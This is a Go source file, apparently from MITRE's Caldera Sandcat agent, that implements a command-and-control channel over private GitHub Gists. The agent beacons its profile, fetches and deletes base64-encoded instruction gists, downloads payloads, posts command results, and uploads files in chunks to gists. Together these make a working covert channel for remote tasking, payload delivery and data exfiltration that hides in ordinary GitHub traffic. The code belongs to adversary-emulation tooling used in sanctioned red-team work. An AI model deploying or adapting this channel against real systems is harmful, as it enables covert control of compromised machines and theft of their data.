/
gist.go
255 lines (229 loc) · 7.64 KB
/
gist.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
package contact
import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"math"
"time"
"github.com/mitre/gocat/output"
"github.com/google/go-github/github"
"golang.org/x/oauth2"
)
const (
githubTimeout = 60
githubTimeoutResetInterval = 5
githubError = 500
gistBeaconResponseFailThreshold = 3 // number of times to attempt fetching a beacon gist response before giving up.
gistBeaconWait = 20 // number of seconds to wait for beacon gist response in case of initial failure.
gistMaxDataChunkSize = 750000 // Github GIST has max file size of 1MB. Base64-encoding 786432 bytes will hit that limit
)
var (
gistToken = ""
gistUsername string
)
type GIST struct {
name string
}
func init() {
CommunicationChannels["GIST"] = GIST{ name: "GIST" }
}
//GetInstructions sends a beacon and returns instructions
func (g GIST) GetBeaconBytes(profile map[string]interface{}) []byte {
checkValidSleepInterval(profile, githubTimeout, githubTimeoutResetInterval)
var retBytes []byte
bites, heartbeat := gistBeacon(profile)
if heartbeat == true {
retBytes = bites
}
return retBytes
}
//GetPayloadBytes load payload bytes from github
func (g GIST) GetPayloadBytes(profile map[string]interface{}, payloadName string) ([]byte, string) {
var payloadBytes []byte
var err error
if _, ok := profile["paw"]; !ok {
output.VerbosePrint("[!] Error obtaining payload - profile missing paw.")
return nil, ""
}
payloads := getGists("payloads", fmt.Sprintf("%s-%s", profile["paw"].(string), payloadName))
if payloads[0] != "" {
payloadBytes, err = base64.StdEncoding.DecodeString(payloads[0])
if err != nil {
output.VerbosePrint(fmt.Sprintf("[-] Failed to decode payload bytes: %s", err.Error()))
return nil, ""
}
}
return payloadBytes, payloadName
}
//C2RequirementsMet determines if sandcat can use the selected comm channel
func (g GIST) C2RequirementsMet(profile map[string]interface{}, criteria map[string]string) (bool, map[string]string) {
config := make(map[string]string)
if len(criteria["c2Key"]) > 0 {
gistToken = criteria["c2Key"]
if len(profile["paw"].(string)) == 0 {
config["paw"] = getRandomIdentifier()
}
return true, config
}
return false, nil
}
func (g GIST) SetUpstreamDestAddr(upstreamDestAddr string) {
// Upstream destination will be the github API.
return
}
//SendExecutionResults send results to the server
func (g GIST) SendExecutionResults(profile map[string]interface{}, result map[string]interface{}){
profileCopy := make(map[string]interface{})
for k,v := range profile {
profileCopy[k] = v
}
results := [1]map[string]interface{}{result}
profileCopy["results"] = results
gistResults(profileCopy)
}
func (g GIST) GetName() string {
return g.name
}
func (g GIST) UploadFileBytes(profile map[string]interface{}, uploadName string, data []byte) error {
encodedFilename := base64.StdEncoding.EncodeToString([]byte(uploadName))
paw := profile["paw"].(string)
// Upload file in chunks
output.VerbosePrint(fmt.Sprintf("[+] Uploading file %s", uploadName))
uploadId := getRandomIdentifier()
dataSize := len(data)
numChunks := int(math.Ceil(float64(dataSize) / float64(gistMaxDataChunkSize)))
start := 0
gistName := getGistNameForUpload(paw)
for i := 0; i < numChunks; i++ {
end := start + gistMaxDataChunkSize
if end > dataSize {
end = dataSize
}
chunk := data[start:end]
gistDescription := getGistDescriptionForUpload(uploadId, encodedFilename, i+1, numChunks)
if err := uploadFileChunkGist(gistName, gistDescription, chunk); err != nil {
return err
}
start += gistMaxDataChunkSize
}
return nil
}
func (g GIST) SupportsContinuous() bool {
return false
}
func getGistNameForUpload(paw string) string {
return getDescriptor("upload", paw)
}
func getGistDescriptionForUpload(uploadId string, encodedFilename string, chunkNum int, totalChunks int) string {
return fmt.Sprintf("upload:%s:%s:%d:%d", uploadId, encodedFilename, chunkNum, totalChunks)
}
func uploadFileChunkGist(gistName string, gistDescription string, data []byte) error {
if result := createGist(gistName, gistDescription, data); result != created {
return errors.New(fmt.Sprintf("Failed to create file upload GIST. Response code: %d", result))
}
return nil
}
func gistBeacon(profile map[string]interface{}) ([]byte, bool) {
failCount := 0
heartbeat := createHeartbeatGist("beacon", profile)
if heartbeat {
//collect instructions & delete
for failCount < gistBeaconResponseFailThreshold {
contents := getGists("instructions", profile["paw"].(string));
if contents != nil {
decodedContents, err := base64.StdEncoding.DecodeString(contents[0])
if err != nil {
output.VerbosePrint(fmt.Sprintf("[-] Failed to decode beacon response: %s", err.Error()))
return nil, heartbeat
}
return decodedContents, heartbeat
}
// Wait for C2 server to provide instruction response gist.
time.Sleep(time.Duration(float64(gistBeaconWait)) * time.Second)
failCount += 1
}
output.VerbosePrint("[!] Failed to fetch beacon response from C2.")
}
return nil, heartbeat
}
func createHeartbeatGist(gistType string, profile map[string]interface{}) bool {
data, err := json.Marshal(profile)
if err != nil {
output.VerbosePrint(fmt.Sprintf("[-] Cannot create Gist heartbeat. Error with profile marshal: %s", err.Error()))
output.VerbosePrint("[-] Heartbeat GIST: FAILED")
return false
} else {
paw := profile["paw"].(string)
gistName := getDescriptor(gistType, paw)
gistDescription := gistName
if createGist(gistName, gistDescription, data) != created {
output.VerbosePrint("[-] Heartbeat GIST: FAILED")
return false
}
}
output.VerbosePrint("[+] Heartbeat GIST: SUCCESS")
return true
}
func gistResults(result map[string]interface{}) {
data, err := json.Marshal(result)
if err != nil {
output.VerbosePrint(fmt.Sprintf("[-] Cannot create Gist results. Error with result marshal: %s", err.Error()))
output.VerbosePrint("[-] Results GIST: FAILED")
} else {
paw := result["paw"].(string)
gistName := getDescriptor("results", paw)
gistDescription := gistName
if createGist(gistName, gistDescription, data) != created {
output.VerbosePrint("[-] Results GIST: FAILED")
} else {
output.VerbosePrint("[+] Results GIST: SUCCESS")
}
}
}
func createGist(gistName string, description string, data []byte) int {
ctx := context.Background()
c2Client := createNewClient()
stringified := base64.StdEncoding.EncodeToString(data)
file := github.GistFile{Content: &stringified,}
files := make(map[github.GistFilename]github.GistFile)
files[github.GistFilename(gistName)] = file
public := false
gist := github.Gist{Description: &description, Public: &public, Files: files,}
_, resp, err := c2Client.Gists.Create(ctx, &gist)
if err != nil {
output.VerbosePrint(fmt.Sprintf("[!] Error creating GIST: %s", err.Error()))
return githubError
}
return resp.StatusCode
}
func getGists(gistType string, uniqueID string) []string {
ctx := context.Background()
c2Client := createNewClient()
var contents []string
gists, _, err := c2Client.Gists.List(ctx, gistUsername, nil)
if err == nil {
for _, gist := range gists {
if !*gist.Public && (*gist.Description == getDescriptor(gistType, uniqueID)) {
fullGist, _, err := c2Client.Gists.Get(ctx, gist.GetID())
if err == nil {
for _, file := range fullGist.Files {
contents = append(contents, *file.Content)
}
}
c2Client.Gists.Delete(ctx, fullGist.GetID())
}
}
}
return contents
}
func createNewClient() *github.Client {
ctx := context.Background()
ts := oauth2.StaticTokenSource(
&oauth2.Token{AccessToken: gistToken},
)
tc := oauth2.NewClient(ctx, ts)
c2Client := github.NewClient(tc)
return c2Client
}